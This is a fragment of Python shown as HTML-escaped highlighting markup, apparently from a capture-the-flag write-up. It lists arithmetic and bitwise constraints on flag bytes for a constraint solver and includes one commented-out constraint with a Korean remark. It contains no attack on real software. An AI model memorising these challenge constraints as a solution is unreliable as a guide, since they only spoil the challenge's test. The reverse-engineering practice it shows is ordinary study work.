&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;212&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;206&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11118&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;55&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;641025&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;216&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;151&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4928&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;195&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10403&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;213&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4444&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11025&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5658&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;228&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;441&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1518&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;113&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9975&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10605&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# s.add((flag[26] * flag[32]) + 239 == 2452140) # 사이즈때문에 맞지 않는듯, 알아볼 수 있어서 수정하지 않음
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;13875&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
